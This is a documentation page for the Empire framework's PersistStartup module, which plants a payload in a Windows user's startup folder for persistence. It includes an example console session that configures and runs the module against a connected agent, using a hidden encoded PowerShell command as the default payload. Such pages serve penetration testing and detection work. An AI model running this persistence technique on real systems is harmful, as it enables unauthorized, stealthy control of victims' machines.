PersistStartup - Empire Module


This page contains detailed information about how to use the csharp/SharpSploit.Persistence/PersistStartup Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: PersistStartup
Module: csharp/SharpSploit.Persistence/PersistStartup
Source code: empire/server/modules/csharp/SharpSploit.Persistence.Covenant.yaml#L1
Language: C#
Needs admin: No
OPSEC safe: No
Background: No

The PersistStartup module installs a payload into the current users startup folder. Payload: Payload to write to a file. E.g. "powershell -Sta -Nop -Window Hidden -EncodedCommand ". FileName: Name of the file to write. E.g. "startup.bat".

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the PersistStartup module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the PersistStartup module:

Agent
Agent to run module on.

DotNetVersion
.NET version to compile against.
Default value: Net35.
Suggested values: Net35, Net40.

FileName
Name of the file to write.
Default value: startup.bat.

Payload
Payload to write to a file.
Default value: powershell -Sta -Nop -Window Hidden -EncodedCommand <blah>.

PersistStartup Example Usage

Here's an example of how to use the PersistStartup module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule csharp/SharpSploit.Persistence/PersistStartup

 Author       _RastaMouse                                                           
 Background   False                                                                 
 Description  Installs a payload into the current users startup folder.             
              Payload: Payload to write to a file. E.g. "powershell -Sta -Nop       
              -Window Hidden -EncodedCommand <blah>".         FileName: Name of the 
              file to write. E.g. "startup.bat".                                    
 Language     csharp                                                                
 Name         csharp/SharpSploit.Persistence/PersistStartup                         
 NeedsAdmin   False                                                                 
 OpsecSafe    False                                                                 


,Record Options-,-------------------------------------,----------,---------------------------------,
| Name          | Value                               | Required | Description                     |
|---------------|-------------------------------------|----------|---------------------------------|
| Agent         |                                     | True     | Agent to run module on.         |
|---------------|-------------------------------------|----------|---------------------------------|
| DotNetVersion | Net35                               | True     | .NET version to compile against |
|---------------|-------------------------------------|----------|---------------------------------|
| FileName      | startup.bat                         | True     | Name of the file to write.      |
|---------------|-------------------------------------|----------|---------------------------------|
| Payload       | powershell -Sta -Nop -Window Hidden | True     | Payload to write to a file.     |
|               | -EncodedCommand <blah>              |          |                                 |
'---------------'-------------------------------------'----------'---------------------------------'

(Empire: usemodule/csharp/SharpSploit.Persistence/PersistStartup) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistStartup) > set DotNetVersion Net35
[*] Set DotNetVersion to Net35
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistStartup) > set FileName startup.bat
[*] Set FileName to startup.bat
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistStartup) > set Payload powershell
[*] Set Payload to powershell
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistStartup) > execute
[!] Error: csharpserver plugin not running

Note: This module requires csharpserver plugin to be running on our system. If this plugin is not running, the error message "[!] Error: csharp server plugin not running" is thrown on the console. To fix the error, start the csharpserver plugin and re-run the module:

(Empire: usemodule/csharp/SharpSploit.Persistence/PersistStartup) > useplugin csharpserver

,Record Options--,----------,----------------------------------,
| Name   | Value | Required | Description                      |
|--------|-------|----------|----------------------------------|
| status | start | True     | Start/stop the Empire C# server. |
'--------'-------'----------'----------------------------------'

(Empire: useplugin/csharpserver) > execute
[*] Starting Empire C# server
(Empire: useplugin/csharpserver) > back
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistStartup) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

  • _RastaMouse

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.